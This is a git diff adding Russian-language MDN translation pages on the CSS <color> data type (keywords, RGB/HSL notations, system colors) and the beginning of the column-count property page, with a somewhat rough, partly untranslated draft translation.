+ + diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html new file mode 100644 index 0000000000..f40f69bcd3 --- /dev/null +++ b/files/ru/web/css/color_value/index.html @@ -0,0 +1,1520 @@ +--- +title: +slug: Web/CSS/color_value +translation_of: Web/CSS/color_value +--- +
{{CSSRef}}
+ +

Тип <color> CSS data type предоставляет цвет в цветовом спектре sRGB. В  <color> может включать значения прозрачности Альфа-канала (alpha-channel), уыказывающие, как цвет сочетается с его фоном.

+ +

В <color> может быть определена любым из следующих способов can.

+ + + +
+

Заметка: В этой статье подробно описывается тип данных <color>. Дополнительные сведения об использовании цвета в HTML см. В разделе применение цвета к элементам HTML с пмощью CSS.

+
+ +

Cинтаксис 

+ +

Для типа данных задается <color>  с помощью одного из следующих параметров.

+ +
+

Заметка: значения <color> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устроству. Это связоно с тем что большенство устройст не откалеброваны, а некторые браузеры не поддерживают цветовые профили устройств вывода.

+
+ +

Ключевые цвета

+ +

Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например red, blue, black или lightseagreen. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. 

+ +

Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:

+ +
    +
  • HTML распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и SVG.
    • +
  • В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.
    • +
  • Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.
    • +
  • Несколько ключевых слов являются псевдонимами друг для друга: +
      +
    • aqua / cyan
      • +
    • fuchsia / magenta
      • +
    • darkgray / darkgrey
      • +
    • darkslategray / darkslategrey
      • +
    • dimgray / dimgrey
      • +
    • lightgray / lightgrey
      • +
    • lightslategray / lightslategrey
      • +
    • gray / grey
      • +
    • slategray / slategrey
      • +
    +
    • +
  • Хотя многие ключевые слова были адаптированы из X11, их значения RGB могут отличаться от соответствующего цвета в системах X11, поскольку производители иногда адаптируют цвета X11 к своему конкретному оборудованию.
    • +
+ +
+

Заметка: Список принятых ключевых слов претерпел много изменений в ходе эволюции CSS:

+ +
    +
  • CSS Level 1 включал только 16 основных цветов, называемых цветами VGA, поскольку они были взяты из набора отображаемых цветов на видеокартах VGA
    • +
  • CSS Level 2 добавил ключевое слово orange.
    • +
  • Хотя различные цвета не в спецификации (в основном адаптированные из списка цветов X11) поддерживались ранними браузерами, они не были формально определены до уровня SVG 1.0 и CSS Colors 3. Они называются расширенными цветовыми ключевыми словами, цветами X11 или цветами SVG.
    • +
  • CSS Colors Level 4 добавил ключевое слово rebeccapurple, чтобы почтить пионера веб-Эрика Мейера.
    • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияЭквивалент RGBКлючевое словоRGB hex значениеВидео сайта
{{SpecName("CSS1")}}black#000000
silver#c0c0c0
gray#808080
white#ffffff
maroon#800000
red#ff0000
purple#800080
fuchsia#ff00ff
green#008000
lime#00ff00
olive#808000
yellow#ffff00
navy#000080
blue#0000ff
teal#008080
aqua#00ffff
{{SpecName("CSS2.1")}}orange#ffa500
{{SpecName("CSS3 Colors")}}aliceblue#f0f8ff
antiquewhite#faebd7
aquamarine#7fffd4
azure#f0ffff
beige#f5f5dc
bisque#ffe4c4
blanchedalmond#ffebcd
blueviolet#8a2be2
brown#a52a2a
burlywood#deb887
cadetblue#5f9ea0
chartreuse#7fff00
chocolate#d2691e
coral#ff7f50
cornflowerblue#6495ed
cornsilk#fff8dc
crimson#dc143c
cyan
+ (synonym of aqua)		#00ffff
darkblue#00008b
darkcyan#008b8b
darkgoldenrod#b8860b
darkgray#a9a9a9
darkgreen#006400
darkgrey#a9a9a9
darkkhaki#bdb76b
darkmagenta#8b008b
darkolivegreen#556b2f
darkorange#ff8c00
darkorchid#9932cc
darkred#8b0000
darksalmon#e9967a
darkseagreen#8fbc8f
darkslateblue#483d8b
darkslategray#2f4f4f
darkslategrey#2f4f4f
darkturquoise#00ced1
darkviolet#9400d3
deeppink#ff1493
deepskyblue#00bfff
dimgray#696969
dimgrey#696969
dodgerblue#1e90ff
firebrick#b22222
floralwhite#fffaf0
forestgreen#228b22
gainsboro#dcdcdc
ghostwhite#f8f8ff
gold#ffd700
goldenrod#daa520
greenyellow#adff2f
grey#808080
honeydew#f0fff0
hotpink#ff69b4
indianred#cd5c5c
indigo#4b0082
ivory#fffff0
khaki#f0e68c
lavender#e6e6fa
lavenderblush#fff0f5
lawngreen#7cfc00
lemonchiffon#fffacd
lightblue#add8e6
lightcoral#f08080
lightcyan#e0ffff
lightgoldenrodyellow#fafad2
lightgray#d3d3d3
lightgreen#90ee90
lightgrey#d3d3d3
lightpink#ffb6c1
lightsalmon#ffa07a
lightseagreen#20b2aa
lightskyblue#87cefa
lightslategray#778899
lightslategrey#778899
lightsteelblue#b0c4de
lightyellow#ffffe0
limegreen#32cd32
linen#faf0e6
magenta
+ (synonym of fuchsia)		#ff00ff
mediumaquamarine#66cdaa
mediumblue#0000cd
mediumorchid#ba55d3
mediumpurple#9370db
mediumseagreen#3cb371
mediumslateblue#7b68ee
mediumspringgreen#00fa9a
mediumturquoise#48d1cc
mediumvioletred#c71585
midnightblue#191970
mintcream#f5fffa
mistyrose#ffe4e1
moccasin#ffe4b5
navajowhite#ffdead
oldlace#fdf5e6
olivedrab#6b8e23
orangered#ff4500
orchid#da70d6
palegoldenrod#eee8aa
palegreen#98fb98
paleturquoise#afeeee
palevioletred#db7093
papayawhip#ffefd5
peachpuff#ffdab9
peru#cd853f
pink#ffc0cb
plum#dda0dd
powderblue#b0e0e6
rosybrown#bc8f8f
royalblue#4169e1
saddlebrown#8b4513
salmon#fa8072
sandybrown#f4a460
seagreen#2e8b57
seashell#fff5ee
sienna#a0522d
skyblue#87ceeb
slateblue#6a5acd
slategray#708090
slategrey#708090
snow#fffafa
springgreen#00ff7f
steelblue#4682b4
tan#d2b48c
thistle#d8bfd8
tomato#ff6347
turquoise#40e0d0
violet#ee82ee
wheat#f5deb3
whitesmoke#f5f5f5
yellowgreen#9acd32
{{SpecName("CSS4 Colors")}}rebeccapurple#663399
+ +

Прозрачное ключевое слово

+ +

Ключевое слово transparent представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически transparent - это ярлык для rgba (0,0,0,0).

+ +
+

Примечание по совместимости: чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что transparent должен быть вычислен в Альфа-предварительно умноженном цветовом пространстве. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением 0.

+
+ +
+

Историческая запись: transparent не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <color> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, transparent был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <color>.

+
+ +

currentColor ключевое слово

+ +

Ключевое слово currentColor представляет значение свойства элемента {{Cssxref("color")}}. Это позволяет использовать значение color для свойств, которые не получают его по умолчанию.

+ +

Если текущий цвет используется в качестве значения свойства color , он вместо этого принимает его значение из наследуемого значения свойства color.

+ +

currentColor пример

+ +
<div style="color:blue; border: 1px dashed currentColor;">
+  Цвет текста-синий.
+  <div style="background:currentColor; height:9px;"></div>
+  This block is surrounded by a blue border.
+</div>
+ +

{{EmbedLiveSample("currentColor_example")}}

+ +

RGB цвет

+ +

Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.

+ +

Синтаксис

+ +

Цвета RGB могут быть выражены как шестнадцатеричными (с префиксом #), так и функциональными (rgb (), rgba ()) нотациями.

+ +
+

Примечание: начиная с уровня цветов CSS 4, rgba() является псевдонимом для rgb(). В браузерах, реализующих стандарт уровня 4, они принимают одни и те же параметры и ведут себя одинаково.

+
+ +
+
Шестнадцатеричное представление: #RRGGBB[AA]
+
R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0-9, A-F). A is optional. For example, #ff0000 is equivalent to #ff0000ff. R (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, #ff0000 эквивалентно #ff0000ff.
+
Шестнадцатеричное представление: #RGB[A]
+
R (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (#RGB) является более короткой версией шестизначной формы (#RRGGBB). Например, #f09 имеет тот же цвет, что и #ff0099. Кроме того, четырехзначная нотация RGB (#RGB) является более короткой версией восьмизначной формы (#RRGGBBAA). Например, #0f38 имеет тот же цвет, что и #00ff3388.
+
Функциональная нотация: rgb(R, G, B[, A]) или rgba(R, G, B, A)
+
R (красный), G (зеленый) и B (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число 255 соответствует 100%. А (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
+
Функциональная нотация: rgb(R G B[ A]) or rgba(R G B A)
+
CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
+
+ +

Пример

+ +
RGB варианты синтаксиса
+ +

В этом примере показано множество способов создания одного цвета с помощью различных цветовых синтаксисов RGB.

+ +
/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */
+
+/* Шестнадцатеричный синтаксис */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* Функциональный синтаксис */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0)
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* Ошибка! Не смешивайте цифры и проценты. */
+rgb(255 0 153)
+
+/* Шестнадцатеричный синтаксис с Альфа-значением */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* Функциональный синтаксис с Альфа-значением */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* Синтаксис пробелов */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* Функциональный синтаксис со значением floats */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+
+ +
RGB вариации прозрачности
+ +
/* Шестнадцатеричный синтаксис */
+#3a30                    /*   0% непрозрачный зеленый цвет */ 
+#3A3F                    /* полный непрозрачный зеленый цвет */ 
+#33aa3300                /*   0% непрозрачный зеленый цвет */ 
+#33AA3380                /* 50% непрозрачный зеленый цвет */ 
+
+/* Функциональный синтаксис */
+rgba(51, 170, 51, .1)    /* непрозрачный зеленый цвет на 10%  */ 
+rgba(51, 170, 51, .4)    /* непрозрачный зеленый цвет на */ 
+rgba(51, 170, 51, .7)    /* непрозрачный зеленый цвет на 70% */ 
+rgba(51, 170, 51,  1)    /* полный непрозрачный зеленый цвет  */ 
+
+/* Синтаксис пробелов */
+rgba(51 170 51 / 0.4)    /* непрозрачный зеленый цвет  на 40%*/ 
+rgba(51 170 51 / 40%)    /* непрозрачный зеленый цвет на 40% */
+
+/* Функциональный синтаксис со значением floats */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+
+ +

Цвет HSL 

+ +

Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.

+ +

Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).

+ +

Синтаксис

+ +

Цвета HSL выражаются через функциональные обозначения hsl() и hsla().

+ +
+

Примечание:  Начиная с уровня цветов CSS 4, hsla() является псевдонимом для hsl(). В браузерах, реализующих стандарт уровня 4, они принимают одни и те же параметры и ведут себя одинаково.

+
+ +
+
Функциональная нотация: hsl(H, S, L[, A]) илиhsla(H, S, L, A)
+
H  (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в degS, rads, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=0 deg=360 град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.
+
S (насыщенность) и L (легкость) являются процентами. 100% насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). 100% легкость белый, 0% легкость черный, и 50% легкость “нормально.”
+
A (alpha) can be a {{cssxref("<number>")}} between 0 and 1, or a {{cssxref("<percentage>")}}, where the number 1 corresponds to 100% (full opacity). A (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
+
+ +
+
Функциональная нотация: hsl(H S L[ A]) or hsla(H S L A)
+
CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
+
+ +

Examples

+ +
HSL варианты синтаксиса
+ +
/* Все эти примеры указывают один и тот же цвет: лаванда. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* Все эти примеры указывают один и тот же цвет: лаванда, которая на 15% непрозрачна. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+
+ +
Полностью насыщенные цвета
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
НотацияОписание:Итог
hsl(0, 100%, 50%)red
hsl(30, 100%, 50%)orange
hsl(60, 100%, 50%)yellow
hsl(90, 100%, 50%)lime green
hsl(120, 100%, 50%)green
hsl(150, 100%, 50%)blue-green
hsl(180, 100%, 50%)cyan
hsl(210, 100%, 50%)sky blue
hsl(240, 100%, 50%)blue
hsl(270, 100%, 50%)purple
hsl(300, 100%, 50%)magenta
hsl(330, 100%, 50%)pink
hsl(360, 100%, 50%)red
+ +
Более светлая и более темная зелень
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
НотацияОписание:Итог
hsl(120, 100%, 0%)black
hsl(120, 100%, 20%)
hsl(120, 100%, 40%)
hsl(120, 100%, 60%)
hsl(120, 100%, 80%)
hsl(120, 100%, 100%)white
+ +
Насыщенная и ненасыщенная зелень
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
НотацияОписание:Итог
hsl(120, 100%, 50%)green
hsl(120, 80%, 50%)
hsl(120, 60%, 50%)
hsl(120, 40%, 50%)
hsl(120, 20%, 50%)
hsl(120, 0%, 50%)gray
+ +
Вариации прозрачности HSL
+ +
hsla(240, 100%, 50%, .05)     /* непрозрачный синий на 5% */ 
+hsla(240, 100%, 50%, .4)      /* непрозрачный синий на 40% */ 
+hsla(240, 100%, 50%, .7)      /* непрозрачный синий на 70% */ 
+hsla(240, 100%, 50%, 1)       /* полный непрозрачный синий */ 
+
+/* Синтаксис пробелов */
+hsla(240 100% 50% / .05)      /* непрозрачный синий на  5% */ 
+
+/* Процентное значение для Альфа */
+hsla(240 100% 50% / 5%)       /*  непрозрачный синий на 5% */ 
+
+ +

Системный цвет

+ +

Не все системные цвета поддерживаются на всех системах. {{deprecated_inline}} для использования на общедоступных веб-страницах.

+ +
+
ActiveBorder
+
Активная граница окна.
+
ActiveCaption
+
Активный заголовок окна. Должен использоваться с текстом CaptionText в качестве цвета переднего плана.
+
AppWorkspace
+
Цвет фона интерфейса нескольких документов.
+
Background
+
Фон рабочего стола.
+
ButtonFace
+
Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом ButtonText цвет переднего плана.
+
ButtonHighlight
+
Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.
+
ButtonShadow
+
Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.
+
ButtonText
+
Следует использовать с ButtonFace или ThreeDFace цвет фона.
+
CaptionText
+
Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона ActiveCaption.
+
GrayText
+
Серый (отключен) текст.
+
Highlight
+
Элемент(ы), выбранный в элементе управления. Следует использовать с HighlightText текста цветом переднего плана.
+
HighlightText
+
Текст элемента(ов), выбранного в элементе управления. Следует использовать с подсветкой цвета фона.
+
InactiveBorder
+
Граница неактивного окна.
+
InactiveCaption
+
Заголовок неактивного окна. Должен использоваться с цветом переднего плана InactiveCaptionText.
+
InactiveCaptionText
+
Следует использовать с InactiveCaption неактивным цветом фона заголовка.
+
InfoBackground
+
Цвет фона для элементов управления всплывающей подсказки. Должен использоваться с цветом переднего плана InfoText.
+
InfoText
+
Цвет текста элементов подсказки. Должен использоваться с иInfoBackgroundфона.
+
Menu
+
Фон меню. Должен использоваться с MenuText или-moz-MenuBarTextстроки меню цвет переднего плана.
+
MenuText
+
Текст в меню. Следует использовать с меню Цвет фона.
+
Scrollbar
+
Цвет фона полос прокрутки.
+
ThreeDDarkShadow
+
Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
+
ThreeDFace
+
Should be used with the ButtonText foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.
+
ThreeDHighlight
+
Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
+
ThreeDLightShadow
+
Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
+
ThreeDShadow
+
Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
+
Window
+
Фон окна. Следует использовать с WindowText цвет переднего плана.
+
WindowFrame
+
Оконная рама
+
WindowText
+
Текст в windows. Следует использовать с цветом фона окна.
+
+ +

Расширеные Цвета Системы Mozilla

+ +
+
-moz-ButtonDefault
+
Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.
+
-moz-ButtonHoverFace
+
Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.
+
-moz-ButtonHoverText
+
Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с--moz-ButtonHoverFace background color.
+
-moz-CellHighlight
+
Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана -moz-CellHighlightText. См. также-moz-html-CellHighlight.
+
-moz-CellHighlightText
+
Цвет текста для выбранного элемента в дереве. Следует использовать с цветом фона moz-CellHighlight background. См. также -moz-html-CellHighlightText выделения ячейки.
+
-moz-Combobox
+
 {{Gecko_minversion_inline ("1.9.2")}} цвет фона для комбинированных полей -moz-ComboboxText. Должен использоваться с цветом переднего плана текста-moz-Combobox. В версиях до 1.9.2 вместо этого используйте -moz-Field.
+
-moz-ComboboxText
+
{Gecko_minversion_inline ("1.9.2")}} цвет текста для комбинированных полей. Следует использовать с цветом фона -moz-Combobox. В версиях до 1.9.2 вместо этого используйте -moz-FieldText.
+
-moz-Dialog
+
Цвет фона для диалоговых окон. Должен использоваться с цветом переднего плана --moz-DialogText.
+
-moz-DialogText
+
Цвет текста для диалоговых окон. Должен использоваться с цветом фона -moz-Dialog.
+
-moz-dragtargetzone
+
-moz-EvenTreeRow
+
{{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте-moz-поле. См. также -moz-OddTreeRow.
+
-moz-Field
+
Text field background color. Should be used with the -moz-FieldText foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана-moz-FieldText.
+
-moz-FieldText
+
Text field text color. Should be used with the -moz-Field, -moz-EvenTreeRow, or -moz-OddTreeRow background color. Текстовое поле цвет текста. Следует использовать с -moz-Field, -moz-EvenTreeRow или -moz-OddTreeRow цветом фона строки дерева.
+
-moz-html-CellHighlight
+
{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the -moz-html-CellHighlightText foreground color. Prior to Gecko 1.9, use -moz-CellHighlight. {{gecko_minversion_inline ("1.9")}} цвет фона для выделенного элемента в HTML {{HTMLElement ("select")}} s. должен использоваться с цветом переднего плана -moz-html-CellHighlight. До Gecko 1.9, используйте -moz-CellHighlightText.                                    
+
-moz-html-CellHighlightText
+
{{gecko_minversion_inline ("1.9")}} цвет текста для  -moz-html-CellHighlight выделенных элементов в HTML {{HTMLElement ("select")}} s. должен использоваться с цветом фона. До Gecko 1.9, используйте moz-html-CellHighlight.
+
-moz-mac-accentdarkestshadow
+
-moz-mac-accentdarkshadow
+
-moz-mac-accentface
+
-moz-mac-accentlightesthighlight
+
-moz-mac-accentlightshadow
+
-moz-mac-accentregularhighlight
+
-moz-mac-accentregularshadow
+
-moz-mac-chrome-active
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-chrome-inactive
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-focusring
+
-moz-mac-menuselect
+
-moz-mac-menushadow
+
-moz-mac-menutextselect
+
-moz-MenuHover
+
Цвет фона для зависших пунктов меню. Часто похожи на Highlight. Следует использовать с moz-MenuHoverText или -moz-MenuBarHoverText при наведении цвет текста переднего плана.
+
-moz-MenuHoverText
+
Text color for hovered menu items. Often similar to HighlightText. Should be used with the -moz-MenuHover background color. Цвет текста для зависших пунктов меню. Часто похоже на выделение текста HighlightText. Следует использовать  с -moz-MenuHover наведите цвет фона.
+
-moz-MenuBarText
+
{{Gecko_minversion_inline ("1.9.2")}} цвет текста в строках меню. Часто похоже на текст меню  "MenuText". Должен использоваться поверх фона Menu.
+
-moz-MenuBarHoverText
+
Цвет для зависшего текста в строках меню. Часто похоже на -moz-MenuHoverTextменю наведения текста. Следует использовать поверх -moz-MenuHover наведите фон.
+
-moz-nativehyperlinktext
+
{{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.
+
-moz-OddTreeRow
+
{{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте -moz-Field. Смотрите также -moz-EvenTreeRow.
+
-moz-win-communicationstext
+
{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с {{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;.
+
-moz-win-mediatext
+
{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с {{cssxref ("- moz-appearance")}}:- moz-win-media-toolbox.
+
-moz-win-accentcolor
+
{{gecko_minversion_inline ("56")}}
+ Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.
+
-moz-win-accentcolortext
+
{{gecko_minversion_inline ("56")}}
+ Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.
+
+ +

Расширения Цветовых Предпочтений Mozilla

+ +
+
-moz-activehyperlinktext
+
Пользовательское предпочтение цвета текста активных ссылок. Должен использоваться с цветом фона документа по умолчанию.
+
-moz-default-background-color
+
{{Gecko_minversion_inline ("5.0")}} предпочтения пользователя для цвета фона документа.
+
-moz-default-color
+
{{Gecko_minversion_inline ("5.0")}} предпочтения пользователя для цвета текста.
+
-moz-hyperlinktext
+
Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.
+
-moz-visitedhyperlinktext
+
Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.
+
+ +

Интерполяция

+ +

В анимации и градиентах значения <color> интерполируются на каждый из их красных, зеленых и синих компонентов. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется функцией времени.

+ +

Соображения доступности

+ +

Некоторые люди с трудом различают цвета. Рекомендация WCAG 2.0 настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В разделе цвет и цветовой контраст.

+ +

Технические характеристики

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусПояснения
{{SpecName('CSS4 Colors', '#colorunits', '<color>')}}{{Spec2('CSS4 Colors')}}Добавляет rebeccapurple, четырехзначные (#RGBA) и восьмизначные (#RRGGBBAA) шестнадцатеричные обозначения, rgba() и hsla() в качестве псевдонимов rgb () и hsl () (оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах hsl ().
{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}{{Spec2('CSS3 Colors')}}Устаревает системные цвета. Добавляет цвета SVG и функциональные обозначения rgb(), hsl () и hsla().
{{SpecName('CSS2.1', 'syndata.html#value-def-color', '<color>')}}{{Spec2('CSS2.1')}}Добавляет orange keyword(ключевое слово) и системные цвета.
{{SpecName('CSS1', '#color-units', '<color>')}}{{Spec2('CSS1')}}Первоначальное определение. Включает в себя 16 основных ключевых слов цвета.
+ +

Совместимость браузера

+ + + +

{{Compat("css.properties.color")}}

+ +

Смотреть также

+ +
    +
  • Свойство {{Cssxref("непрозрачность")}} позволяет определить прозрачность на уровне элемента.
    • +
  • Некоторые общие свойства, которые используют этот тип данных: {{Cssxref("цвет")}}, {{Cssxref("фон")}}, {{Cssxref("бордюр-колор")}}, {{Cssxref("окно-тень")}}, {{Cssxref("контур-цвет")}}, {{Cssxref("текст-тень")}}
    • +
  • Применение цвета к элементам HTML с помощью CSS
    • +
diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html new file mode 100644 index 0000000000..33c4606e27 --- /dev/null +++ b/files/ru/web/css/column-count/index.html @@ -0,0 +1,97 @@ +--- +title: column-count +slug: Web/CSS/column-count +tags: + - Свойство + - мультиколоночная верстка +translation_of: Web/CSS/column-count +--- +
{{CSSRef}}
+ +

CSS свойство column-count разбивает содержимое элемента на заданное число столбцов.

+ +
{{EmbedInteractiveExample("pages/css/column-count.html")}}
+ + + +

Синтаксис

+ +
/* Значение, заданное ключевым словом */
+column-count: auto;
+
+/* целое значение */
+column-count: 3;
+
+/* глобальные значения */
+column-count: inherit;
+column-count: initial;
+column-count: unset;
+ +

Значения

+ +
+
auto
+
Количество столбцов определяется другими свойствами CSS, такими как {{cssxref("column-width")}}.
+
{{cssxref("<integer>")}}
+
Является строго положительным {{cssxref("<integer>")}}, описывающим идеальное число столбцов, в которые будет стекаться содержимое элемента.  Если {{cssxref("column-width")}}. также, не установлено в значение  -auto, оно указывает максимально допустимое число столбцов.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<p class="content-box">
